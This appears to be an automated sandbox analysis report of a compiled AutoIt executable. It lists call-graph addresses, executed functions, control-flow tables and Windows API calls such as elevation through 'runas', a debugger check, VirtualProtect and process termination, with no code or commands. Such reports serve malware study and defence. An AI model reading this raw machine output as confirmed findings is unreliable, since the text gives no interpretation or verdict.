MoveWindow 94945->94952 94946 611e27 94986 5be312 331 API calls Mailbox 94946->94986 94947->94964 94955 611e6d 94948->94955 94956 5a3794 94948->94956 94975 5beb83 94949->94975 94959 611dcb SetFocus 94951->94959 94960 611dac 94951->94960 94952->94964 94955->94934 94989 5da5f3 48 API calls 94955->94989 94962 5a379f 94956->94962 94963 611e58 94956->94963 94957 611e9a 94957->94934 94957->94964 94959->94964 94960->94962 94965 611db5 94960->94965 94961 5a37ed 94983 5a390f DeleteObject DestroyWindow Mailbox 94961->94983 94962->94934 94987 5a3847 Shell_NotifyIconW _memset 94962->94987 94988 5e55bd 70 API calls _memset 94963->94988 94984 5a2ff6 16 API calls 94965->94984 94970 611e68 94970->94964 94971->94934 94973 611e4c 94974 5a4ffc 67 API calls 94973->94974 94974->94971 94976 5beb9a _memset 94975->94976 94977 5bec1c 94975->94977 94978 5a51af 50 API calls 94976->94978 94977->94964 94980 5bebc1 94978->94980 94979 5bec05 KillTimer SetTimer 94979->94977 94980->94979 94981 613c7a Shell_NotifyIconW 94980->94981 94981->94979 94982->94961 94983->94964 94984->94964 94985->94946 94986->94962 94987->94973 94988->94970 94989->94971 94990->94957 94991 618eb8 94995 5ea635 94991->94995 94993 618ec3 94994 5ea635 84 API calls 94993->94994 94994->94993 94996 5ea66f 94995->94996 95001 5ea642 94995->95001 94996->94993 94997 5ea671 95007 5bec4e 81 API calls 94997->95007 94999 5ea676 95000 5a936c 81 API calls 94999->95000 95002 5ea67d 95000->95002 95001->94996 95001->94997 95001->94999 95004 5ea669 95001->95004 95003 5a510d 48 API calls 95002->95003 95003->94996 95006 5b4525 61 API calls ___crtGetEnvironmentStringsW 95004->95006 95006->94996 95007->94999 95008 61197b 95013 5bdd94 95008->95013 95012 61198a 95014 5bf4ea 48 API calls 95013->95014 95015 5bdd9c 95014->95015 95017 5bddb0 95015->95017 95021 5bdf3d 95015->95021 95020 5c0f0a 52 API calls __cinit 95017->95020 95020->95012 95022 5bdda8 95021->95022 95023 5bdf46 95021->95023 95025 5bddc0 95022->95025 95053 5c0f0a 52 API calls __cinit 95023->95053 95026 5ad7f7 48 API calls 95025->95026 95027 5bddd7 GetVersionExW 95026->95027 95028 5a6a63 48 API calls 95027->95028 95029 5bde1a 95028->95029 95054 5bdfb4 95029->95054 95032 5a6571 48 API calls 95038 5bde2e 95032->95038 95035 6124c8 95036 5bdebb 95040 5bdee3 95036->95040 95041 5bdf31 GetSystemInfo 95036->95041 95037 5bdea4 GetCurrentProcess 95067 5bdf5f LoadLibraryA GetProcAddress 95037->95067 95038->95035 95058 5bdf77 95038->95058 95061 5be00c 95040->95061 95043 5bdf0e 95041->95043 95045 5bdf1c FreeLibrary 95043->95045 95046 5bdf21 95043->95046 95045->95046 95046->95017 95047 5bdf29 GetSystemInfo 95050 5bdf03 95047->95050 95048 5bdef9 95064 5bdff4 95048->95064 95050->95043 95052 5bdf09 FreeLibrary 95050->95052 95052->95043 95053->95022 95055 5bdfbd 95054->95055 95056 5ab18b 48 API calls 95055->95056 95057 5bde22 95056->95057 95057->95032 95068 5bdf89 95058->95068 95072 5be01e 95061->95072 95065 5be00c 2 API calls 95064->95065 95066 5bdf01 GetNativeSystemInfo 95065->95066 95066->95050 95067->95036 95069 5bdea0 95068->95069 95070 5bdf92 LoadLibraryA 95068->95070 95069->95036 95069->95037 95070->95069 95071 5bdfa3 GetProcAddress 95070->95071 95071->95069 95073 5bdef1 95072->95073 95074 5be027 LoadLibraryA 95072->95074 95073->95047 95073->95048 95074->95073 95075 5be038 GetProcAddress 95074->95075 95075->95073 95076 6119cb 95081 5a2322 95076->95081 95078 6119d1 95114 5c0f0a 52 API calls __cinit 95078->95114 95080 6119db 95082 5a2344 95081->95082 95115 5a26df 95082->95115 95087 5ad7f7 48 API calls 95088 5a2384 95087->95088 95089 5ad7f7 48 API calls 95088->95089 95090 5a238e 95089->95090 95091 5ad7f7 48 API calls 95090->95091 95092 5a2398 95091->95092 95093 5ad7f7 48 API calls 95092->95093 95094 5a23de 95093->95094 95095 5ad7f7 48 API calls 95094->95095 95096 5a24c1 95095->95096 95123 5a263f 95096->95123 95100 5a24f1 95101 5ad7f7 48 API calls 95100->95101 95102 5a24fb 95101->95102 95152 5a2745 95102->95152 95104 5a2546 95105 5a2556 GetStdHandle 95104->95105 95106 5a25b1 95105->95106 95107 61501d 95105->95107 95108 5a25b7 CoInitialize 95106->95108 95107->95106 95109 615026 95107->95109 95108->95078 95159 5e92d4 53 API calls 95109->95159 95111 61502d 95160 5e99f9 CreateThread 95111->95160 95113 615039 CloseHandle 95113->95108 95114->95080 95161 5a2854 95115->95161 95118 5a6a63 48 API calls 95119 5a234a 95118->95119 95120 5a272e 95119->95120 95175 5a27ec 6 API calls 95120->95175 95122 5a237a 95122->95087 95124 5ad7f7 48 API calls 95123->95124 95125 5a264f 95124->95125 95126 5ad7f7 48 API calls 95125->95126 95127 5a2657 95126->95127 95176 5a26a7 95127->95176 95130 5a26a7 48 API calls 95131 5a2667 95130->95131 95132 5ad7f7 48 API calls 95131->95132 95133 5a2672 95132->95133 95134 5bf4ea 48 API calls 95133->95134 95135 5a24cb 95134->95135 95136 5a22a4 95135->95136 95137 5a22b2 95136->95137 95138 5ad7f7 48 API calls 95137->95138 95139 5a22bd 95138->95139 95140 5ad7f7 48 API calls 95139->95140 95141 5a22c8 95140->95141 95142 5ad7f7 48 API calls 95141->95142 95143 5a22d3 95142->95143 95144 5ad7f7 48 API calls 95143->95144 95145 5a22de 95144->95145 95146 5a26a7 48 API calls 95145->95146 95147 5a22e9 95146->95147 95148 5bf4ea 48 API calls 95147->95148 95149 5a22f0 95148->95149 95150 5a22f9 RegisterWindowMessageW 95149->95150 95151 611fe7 95149->95151 95150->95100 95153 615f4d 95152->95153 95154 5a2755 95152->95154 95181 5ec942 50 API calls 95153->95181 95156 5bf4ea 48 API calls 95154->95156 95158 5a275d 95156->95158 95157 615f58 95158->95104 95159->95111 95160->95113 95182 5e99df 54 API calls 95160->95182 95168 5a2870 95161->95168 95164 5a2870 48 API calls 95165 5a2864 95164->95165 95166 5ad7f7 48 API calls 95165->95166 95167 5a2716 95166->95167 95167->95118 95169 5ad7f7 48 API calls 95168->95169 95170 5a287b 95169->95170 95171 5ad7f7 48 API calls 95170->95171 95172 5a2883 95171->95172 95173 5ad7f7 48 API calls 95172->95173 95174 5a285c 95173->95174 95174->95164 95175->95122 95177 5ad7f7 48 API calls 95176->95177 95178 5a26b0 95177->95178 95179 5ad7f7 48 API calls 95178->95179 95180 5a265f 95179->95180 95180->95130 95181->95157 95183 6119ba 95188 5bc75a 95183->95188 95187 6119c9 95189 5ad7f7 48 API calls 95188->95189 95190 5bc7c8 95189->95190 95196 5bd26c 95190->95196 95193 5bc865 95194 5bc881 95193->95194 95199 5bd1fa 48 API calls ___crtGetEnvironmentStringsW 95193->95199 95195 5c0f0a 52 API calls __cinit 95194->95195 95195->95187 95200 5bd298 95196->95200 95199->95193 95201 5bd28b 95200->95201 95202 5bd2a5 95200->95202 95201->95193 95202->95201 95203 5bd2ac RegOpenKeyExW 95202->95203 95203->95201 95204 5bd2c6 RegQueryValueExW 95203->95204 95205 5bd2fc RegCloseKey 95204->95205 95206 5bd2e7 95204->95206 95205->95201 95206->95205 95207 6119dd 95212 5a4a30 95207->95212 95209 6119f1 95232 5c0f0a 52 API calls __cinit 95209->95232 95211 6119fb 95213 5a4a40 __ftell_nolock 95212->95213 95214 5ad7f7 48 API calls 95213->95214 95215 5a4af6 95214->95215 95216 5a5374 50 API calls 95215->95216 95217 5a4aff 95216->95217 95233 5a363c 95217->95233 95220 5a518c 48 API calls 95221 5a4b18 95220->95221 95222 5a64cf 48 API calls 95221->95222 95223 5a4b29 95222->95223 95224 5ad7f7 48 API calls 95223->95224 95225 5a4b32 95224->95225 95239 5a49fb 95225->95239 95227 5a4b43 Mailbox 95227->95209 95228 5a4b3d _wcscat Mailbox __wsetenvp 95228->95227 95229 5ace19 48 API calls 95228->95229 95230 5a64cf 48 API calls 95228->95230 95231 5a61a6 48 API calls 95228->95231 95229->95228 95230->95228 95231->95228 95232->95211 95234 5a3649 __ftell_nolock 95233->95234 95253 5a366c GetFullPathNameW 95234->95253 95236 5a365a 95237 5a6a63 48 API calls 95236->95237 95238 5a3669 95237->95238 95238->95220 95255 5abcce 95239->95255 95242 5a4a2b 95242->95228 95243 6141cc RegQueryValueExW 95244 6141e5 95243->95244 95245 614246 RegCloseKey 95243->95245 95246 5bf4ea 48 API calls 95244->95246 95247 6141fe 95246->95247 95248 5a47b7 48 API calls 95247->95248 95249 614208 RegQueryValueExW 95248->95249 95250 614224 95249->95250 95251 61423b 95249->95251 95252 5a6a63 48 API calls 95250->95252 95251->95245 95252->95251 95254 5a368a 95253->95254 95254->95236 95256 5abce8 95255->95256 95260 5a4a0a RegOpenKeyExW 95255->95260 95257 5bf4ea 48 API calls 95256->95257 95258 5abcf2 95257->95258 95259 5bee75 48 API calls 95258->95259 95259->95260 95260->95242 95260->95243 95261 619bec 95274 5b0ae0 Mailbox ___crtGetEnvironmentStringsW 95261->95274 95262 5b1526 Mailbox 95318 5ecc5c 86 API calls 4 library calls 95262->95318 95266 5afec8 95267 5b0509 95266->95267 95268 5b1473 95266->95268 95269 5affe1 Mailbox 95266->95269 95271 5b146e 95266->95271 95273 5a6eed 48 API calls 95266->95273 95276 5bf4ea 48 API calls 95266->95276 95277 61a246 95266->95277 95284 5ad7f7 48 API calls 95266->95284 95286 61a30e 95266->95286 95287 5d97ed InterlockedDecrement 95266->95287 95290 61a973 95266->95290 95291 5c0f0a 52 API calls __cinit 95266->95291 95295 5b15b5 95266->95295 95310 5b1820 331 API calls 2 library calls 95266->95310 95311 5b1d10 59 API calls Mailbox 95266->95311 95321 5ecc5c 86 API calls 4 library calls 95267->95321 95320 5ecc5c 86 API calls 4 library calls 95268->95320 95280 5a6eed 48 API calls 95271->95280 95273->95266 95274->95262 95274->95266 95274->95269 95288 5ace19 48 API calls 95274->95288 95296 5bf4ea 48 API calls 95274->95296 95297 5afe30 331 API calls 95274->95297 95298 61a706 95274->95298 95300 5d97ed InterlockedDecrement 95274->95300 95303 5f6ff0 331 API calls 95274->95303 95304 600d09 95274->95304 95307 600d1d 95274->95307 95312 5fef61 82 API calls 2 library calls 95274->95312 95313 5ff0ac 90 API calls Mailbox 95274->95313 95314 5ea6ef 48 API calls 95274->95314 95315 5fe822 331 API calls Mailbox 95274->95315 95276->95266 95281 5a6eed 48 API calls 95277->95281 95279 61a922 95280->95269 95281->95269 95284->95266 95285 61a873 95286->95269 95316 5d97ed InterlockedDecrement 95286->95316 95287->95266 95288->95274 95322 5ecc5c 86 API calls 4 library calls 95290->95322 95291->95266 95293 61a982 95319 5ecc5c 86 API calls 4 library calls 95295->95319 95296->95274 95297->95274 95317 5ecc5c 86 API calls 4 library calls 95298->95317 95300->95274 95303->95274 95323 5ff8ae 95304->95323 95306 600d19 95306->95274 95308 5ff8ae 129 API calls 95307->95308 95309 600d2d 95308->95309 95309->95274 95310->95266 95311->95266 95312->95274 95313->95274 95314->95274 95315->95274 95316->95269 95317->95262 95318->95269 95319->95269 95320->95285 95321->95279 95322->95293 95324 5a936c 81 API calls 95323->95324 95325 5ff8ea 95324->95325 95348 5ff92c Mailbox 95325->95348 95359 600567 95325->95359 95327 5ffb8b 95328 5ffcfa 95327->95328 95332 5ffb95 95327->95332 95395 600688 89 API calls Mailbox 95328->95395 95331 5ffd07 95331->95332 95334 5ffd13 95331->95334 95372 5ff70a 95332->95372 95333 5a936c 81 API calls 95344 5ff984 Mailbox 95333->95344 95334->95348 95339 5ffbc9 95386 5bed18 95339->95386 95342 5ffbfd 95346 5bc050 48 API calls 95342->95346 95343 5ffbe3 95392 5ecc5c 86 API calls 4 library calls 95343->95392 95344->95327 95344->95333 95344->95348 95390 6029e8 48 API calls ___crtGetEnvironmentStringsW 95344->95390 95391 5ffda5 60 API calls 2 library calls 95344->95391 95349 5ffc14 95346->95349 95347 5ffbee GetCurrentProcess TerminateProcess 95347->95342 95348->95306 95350 5b1b90 48 API calls 95349->95350 95357 5ffc3e 95349->95357 95351 5ffc2d 95350->95351 95393 60040f 105 API calls _free 95351->95393 95353 5b1b90 48 API calls 95353->95357 95354 5ffd65 95354->95348 95355 5ffd7e FreeLibrary 95354->95355 95355->95348 95357->95353 95357->95354 95394 5adcae 50 API calls Mailbox 95357->95394 95396 60040f 105 API calls _free 95357->95396 95360 5abdfa 48 API calls 95359->95360 95361 600582 CharLowerBuffW 95360->95361 95397 5e1f11 95361->95397 95365 5ad7f7 48 API calls 95366 6005bb 95365->95366 95404 5a69e9 48 API calls ___crtGetEnvironmentStringsW 95366->95404 95368 6005d2 95369 5ab18b 48 API calls 95368->95369 95371 6005de Mailbox 95369->95371 95370 60061a Mailbox 95370->95344 95371->95370 95405 5ffda5 60 API calls 2 library calls 95371->95405 95373 5ff725 95372->95373 95377 5ff77a 95372->95377 95374 5bf4ea 48 API calls 95373->95374 95376 5ff747 95374->95376 95375 5bf4ea 48 API calls 95375->95376 95376->95375 95376->95377 95378 600828 95377->95378 95379 600a53 Mailbox 95378->95379 95385 60084b _strcat _wcscpy __wsetenvp 95378->95385 95379->95339 95380 5ad286 48 API calls 95380->95385 95381 5acf93 58 API calls 95381->95385 95382 5a936c 81 API calls 95382->95385 95383 5c395c 47 API calls std::exception::_Copy_str 95383->95385 95385->95379 95385->95380 95385->95381 95385->95382 95385->95383 95408 5e8035 50 API calls __wsetenvp 95385->95408 95387 5bed2d 95386->95387 95388 5bedc5 VirtualProtect 95387->95388 95389 5bed93 95387->95389 95388->95389 95389->95342 95389->95343 95390->95344 95391->95344 95392->95347 95393->95357 95394->95357 95395->95331 95396->95357 95399 5e1f3b __wsetenvp 95397->95399 95398 5e1f79 95398->95365 95398->95371 95399->95398 95400 5e1f6f 95399->95400 95401 5e1ffa 95399->95401 95400->95398 95406 5bd37a 60 API calls 95400->95406 95401->95398 95407 5bd37a 60 API calls 95401->95407 95404->95368 95405->95370 95406->95400 95407->95401 95408->95385

                                                                                      Executed Functions

                                                                                      Function 005CB043 Relevance: 21.5, APIs: 14, Instructions: 537COMMONLIBRARYCODE
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      • Executed
                                                                                      • Not Executed
                                                                                      control_flow_graph 744 5cb043-5cb080 call 5cf8a0 747 5cb089-5cb08b 744->747 748 5cb082-5cb084 744->748 750 5cb0ac-5cb0d9 747->750 751 5cb08d-5cb0a7 call 5c7bda call 5c7c0e call 5c6e10 747->751 749 5cb860-5cb86c call 5ca70c 748->749 753 5cb0db-5cb0de 750->753 754 5cb0e0-5cb0e7 750->754 751->749 753->754 758 5cb10b-5cb110 753->758 759 5cb0e9-5cb100 call 5c7bda call 5c7c0e call 5c6e10 754->759 760 5cb105 754->760 762 5cb11f-5cb12d call 5d3bf2 758->762 763 5cb112-5cb11c call 5cf82f 758->763 787 5cb851-5cb854 759->787 760->758 774 5cb44b-5cb45d 762->774 775 5cb133-5cb145 762->775 763->762 779 5cb7b8-5cb7d5 WriteFile 774->779 780 5cb463-5cb473 774->780 775->774 778 5cb14b-5cb183 call 5c7a0d GetConsoleMode 775->778 778->774 801 5cb189-5cb18f 778->801 782 5cb7d7-5cb7df 779->782 783 5cb7e1-5cb7e7 GetLastError 779->783 785 5cb479-5cb484 780->785 786 5cb55a-5cb55f 780->786 788 5cb7e9 782->788 783->788 792 5cb48a-5cb49a 785->792 793 5cb81b-5cb833 785->793 789 5cb565-5cb56e 786->789 790 5cb663-5cb66e 786->790 800 5cb85e-5cb85f 787->800 798 5cb7ef-5cb7f1 788->798 789->793 799 5cb574 789->799 790->793 797 5cb674 790->797 794 5cb4a0-5cb4a3 792->794 795 5cb83e-5cb84e call 5c7c0e call 5c7bda 793->795 796 5cb835-5cb838 793->796 802 5cb4e9-5cb520 WriteFile 794->802 803 5cb4a5-5cb4be 794->803 795->787 796->795 804 5cb83a-5cb83c 796->804 805 5cb67e-5cb693 797->805 807 5cb856-5cb85c 798->807 808 5cb7f3-5cb7f5 798->808 809 5cb57e-5cb595 799->809 800->749 810 5cb199-5cb1bc GetConsoleCP 801->810 811 5cb191-5cb193 801->811 802->783 816 5cb526-5cb538 802->816 814 5cb4cb-5cb4e7 803->814 815 5cb4c0-5cb4ca 803->815 804->800 817 5cb699-5cb69b 805->817 807->800 808->793 819 5cb7f7-5cb7fc 808->819 820 5cb59b-5cb59e 809->820 812 5cb440-5cb446 810->812 813 5cb1c2-5cb1ca 810->813 811->774 811->810 812->808 821 5cb1d4-5cb1d6 813->821 814->794 814->802 815->814 816->798 822 5cb53e-5cb54f 816->822 823 5cb69d-5cb6b3 817->823 824 5cb6d8-5cb719 WideCharToMultiByte 817->824 826 5cb7fe-5cb810 call 5c7c0e call 5c7bda 819->826 827 5cb812-5cb819 call 5c7bed 819->827 828 5cb5de-5cb627 WriteFile 820->828 829 5cb5a0-5cb5b6 820->829 832 5cb1dc-5cb1fe 821->832 833 5cb36b-5cb36e 821->833 822->792 834 5cb555 822->834 835 5cb6b5-5cb6c4 823->835 836 5cb6c7-5cb6d6 823->836 824->783 838 5cb71f-5cb721 824->838 826->787 827->787 828->783 831 5cb62d-5cb645 828->831 840 5cb5cd-5cb5dc 829->840 841 5cb5b8-5cb5ca 829->841 831->798 843 5cb64b-5cb658 831->843 844 5cb217-5cb223 call 5c1688 832->844 845 5cb200-5cb215 832->845 846 5cb375-5cb3a2 833->846 847 5cb370-5cb373 833->847 834->798 835->836 836->817 836->824 848 5cb727-5cb75a WriteFile 838->848 840->820 840->828 841->840 843->809 850 5cb65e 843->850 866 5cb269-5cb26b 844->866 867 5cb225-5cb239 844->867 851 5cb271-5cb283 call 5d40f7 845->851 853 5cb3a8-5cb3ab 846->853 847->846 847->853 854 5cb75c-5cb776 848->854 855 5cb77a-5cb78e GetLastError 848->855 850->798 871 5cb289 851->871 872 5cb435-5cb43b 851->872 859 5cb3ad-5cb3b0 853->859 860 5cb3b2-5cb3c5 call 5d5884 853->860 854->848 862 5cb778 854->862 857 5cb794-5cb796 855->857 857->788 865 5cb798-5cb7b0 857->865 859->860 868 5cb407-5cb40a 859->868 860->783 877 5cb3cb-5cb3d5 860->877 862->857 865->805 873 5cb7b6 865->873 866->851 875 5cb23f-5cb254 call 5d40f7 867->875 876 5cb412-5cb42d 867->876 868->821 874 5cb410 868->874 878 5cb28f-5cb2c4 WideCharToMultiByte 871->878 872->788 873->798 874->872 875->872 886 5cb25a-5cb267 875->886 876->872 880 5cb3fb-5cb401 877->880 881 5cb3d7-5cb3ee call 5d5884 877->881 878->872 882 5cb2ca-5cb2f0 WriteFile 878->882 880->868 881->783 889 5cb3f4-5cb3f5 881->889 882->783 885 5cb2f6-5cb30e 882->885 885->872 888 5cb314-5cb31b 885->888 886->878 888->880 890 5cb321-5cb34c WriteFile 888->890 889->880 890->783 891 5cb352-5cb359 890->891 891->872 892 5cb35f-5cb366 891->892 892->880
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID:
                                                                                      • String ID:
                                                                                      • API String ID:
                                                                                      • Opcode ID: 0a06624d62c40ed932a6090cfc4d3c7d2ad91e03313f552f53a77805cdef5cd2
                                                                                      • Instruction ID: edde93c954fc7306c8f34698ddb52e5473b77b2abd6f94686a589ed39565ad42
                                                                                      • Opcode Fuzzy Hash: 0a06624d62c40ed932a6090cfc4d3c7d2ad91e03313f552f53a77805cdef5cd2
                                                                                      • Instruction Fuzzy Hash: 5C325F75B022598FEB248F94DC86BE9BBF5FB46310F1841D9E40AA7A51D7309E80CF52
                                                                                      Function 005A3D19 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 151windowCOMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      APIs
                                                                                      • GetCurrentDirectoryW.KERNEL32(00007FFF,?,00000000,00000001,?,?,005A3AA3,?), ref: 005A3D45
                                                                                      • IsDebuggerPresent.KERNEL32(?,?,?,?,005A3AA3,?), ref: 005A3D57
                                                                                      • GetFullPathNameW.KERNEL32(00007FFF,?,?,00661148,00661130,?,?,?,?,005A3AA3,?), ref: 005A3DC8
                                                                                        • Part of subcall function 005A6430: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,005A3DEE,00661148,?,?,?,?,?,005A3AA3,?), ref: 005A6471
                                                                                      • SetCurrentDirectoryW.KERNEL32(?,?,?,005A3AA3,?), ref: 005A3E48
                                                                                      • MessageBoxA.USER32(00000000,This is a third-party compiled AutoIt script.,006528F4,00000010), ref: 00611CCE
                                                                                      • SetCurrentDirectoryW.KERNEL32(?,00661148,?,?,?,?,?,005A3AA3,?), ref: 00611D06
                                                                                      • GetForegroundWindow.USER32(runas,?,?,?,00000001,?,0063DAB4,00661148,?,?,?,?,?,005A3AA3,?), ref: 00611D89
                                                                                      • ShellExecuteW.SHELL32(00000000,?,?,?,?,005A3AA3), ref: 00611D90
                                                                                        • Part of subcall function 005A3E6E: GetSysColorBrush.USER32(0000000F), ref: 005A3E79
                                                                                        • Part of subcall function 005A3E6E: LoadCursorW.USER32(00000000,00007F00), ref: 005A3E88
                                                                                        • Part of subcall function 005A3E6E: LoadIconW.USER32(00000063), ref: 005A3E9E
                                                                                        • Part of subcall function 005A3E6E: LoadIconW.USER32(000000A4), ref: 005A3EB0
                                                                                        • Part of subcall function 005A3E6E: LoadIconW.USER32(000000A2), ref: 005A3EC2
                                                                                        • Part of subcall function 005A3E6E: RegisterClassExW.USER32(?), ref: 005A3F30
                                                                                        • Part of subcall function 005A36B8: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 005A36E6
                                                                                        • Part of subcall function 005A36B8: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 005A3707
                                                                                        • Part of subcall function 005A36B8: ShowWindow.USER32(00000000,?,?,?,?,005A3AA3,?), ref: 005A371B
                                                                                        • Part of subcall function 005A36B8: ShowWindow.USER32(00000000,?,?,?,?,005A3AA3,?), ref: 005A3724
                                                                                        • Part of subcall function 005A4FFC: _memset.LIBCMT ref: 005A5022
                                                                                        • Part of subcall function 005A4FFC: Shell_NotifyIconW.SHELL32(00000000,?), ref: 005A50CB
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Window$IconLoad$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundMessageNotifyPresentRegisterShellShell__memset
                                                                                      • String ID: ()e$This is a third-party compiled AutoIt script.$runas
                                                                                      • API String ID: 438480954-1408861226
                                                                                      • Opcode ID: 79c07b0f2c2c226491395411e1af3d7e2f2e0fc088f518eaf60e32277c2288b8
                                                                                      • Instruction ID: cd0999d6ac48c458d30bd235913fe59954dbe12465a05031865335c5d0862f96
                                                                                      • Opcode Fuzzy Hash: 79c07b0f2c2c226491395411e1af3d7e2f2e0fc088f518eaf60e32277c2288b8
                                                                                      • Instruction Fuzzy Hash: B5514B3190424AAACF11EBF0DC59EEDBF7BBF87704F085064F601AA192DA754A46CB61
                                                                                      Function 005BDDC0 Relevance: 10.7, APIs: 7, Instructions: 175COMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      • Executed
                                                                                      • Not Executed
                                                                                      control_flow_graph 1079 5bddc0-5bde4f call 5ad7f7 GetVersionExW call 5a6a63 call 5bdfb4 call 5a6571 1088 6124c8-6124cb 1079->1088 1089 5bde55-5bde56 1079->1089 1092 6124e4-6124e8 1088->1092 1093 6124cd 1088->1093 1090 5bde58-5bde63 1089->1090 1091 5bde92-5bdea2 call 5bdf77 1089->1091 1094 5bde69-5bde6b 1090->1094 1095 61244e-612454 1090->1095 1110 5bdec7-5bdee1 1091->1110 1111 5bdea4-5bdec1 GetCurrentProcess call 5bdf5f 1091->1111 1098 6124d3-6124dc 1092->1098 1099 6124ea-6124f3 1092->1099 1097 6124d0 1093->1097 1100 612469-612475 1094->1100 1101 5bde71-5bde74 1094->1101 1103 612456-612459 1095->1103 1104 61245e-612464 1095->1104 1097->1098 1098->1092 1099->1097 1105 6124f5-6124f8 1099->1105 1106 612477-61247a 1100->1106 1107 61247f-612485 1100->1107 1108 5bde7a-5bde89 1101->1108 1109 612495-612498 1101->1109 1103->1091 1104->1091 1105->1098 1106->1091 1107->1091 1112 5bde8f 1108->1112 1113 61248a-612490 1108->1113 1109->1091 1114 61249e-6124b3 1109->1114 1116 5bdee3-5bdef7 call 5be00c 1110->1116 1117 5bdf31-5bdf3b GetSystemInfo 1110->1117 1111->1110 1131 5bdec3 1111->1131 1112->1091 1113->1091 1119 6124b5-6124b8 1114->1119 1120 6124bd-6124c3 1114->1120 1126 5bdf29-5bdf2f GetSystemInfo 1116->1126 1127 5bdef9-5bdf01 call 5bdff4 GetNativeSystemInfo 1116->1127 1122 5bdf0e-5bdf1a 1117->1122 1119->1091 1120->1091 1124 5bdf1c-5bdf1f FreeLibrary 1122->1124 1125 5bdf21-5bdf26 1122->1125 1124->1125 1130 5bdf03-5bdf07 1126->1130 1127->1130 1130->1122 1133 5bdf09-5bdf0c FreeLibrary 1130->1133 1131->1110 1133->1122
                                                                                      APIs
                                                                                      • GetVersionExW.KERNEL32(?), ref: 005BDDEC
                                                                                      • GetCurrentProcess.KERNEL32(00000000,0063DC38,?,?), ref: 005BDEAC
                                                                                      • GetNativeSystemInfo.KERNELBASE(?,0063DC38,?,?), ref: 005BDF01
                                                                                      • FreeLibrary.KERNEL32(00000000,?,?), ref: 005BDF0C
                                                                                      • FreeLibrary.KERNEL32(00000000,?,?), ref: 005BDF1F
                                                                                      • GetSystemInfo.KERNEL32(?,0063DC38,?,?), ref: 005BDF29
                                                                                      • GetSystemInfo.KERNEL32(?,0063DC38,?,?), ref: 005BDF35
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: InfoSystem$FreeLibrary$CurrentNativeProcessVersion
                                                                                      • String ID:
                                                                                      • API String ID: 3851250370-0
                                                                                      • Opcode ID: ca0ca30ee792f26c6d626cb76e5b5264af5c3ec52746012b2e0bb648569b2426
                                                                                      • Instruction ID: 7897bb58f1121a1ebd5bc14dd8bdb9792c889fbdc58565c1b054aafa2785472a
                                                                                      • Opcode Fuzzy Hash: ca0ca30ee792f26c6d626cb76e5b5264af5c3ec52746012b2e0bb648569b2426
                                                                                      • Instruction Fuzzy Hash: 7561CFB180A385CBCF15CF6898C11E97FB5BF2A300B1989D8D8459F207D634D949CB66
                                                                                      Function 005A406B Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61COMMON
                                                                                      Download Yara Rule

                                                                                      Control-flow Graph

                                                                                      • Executed
                                                                                      • Not Executed
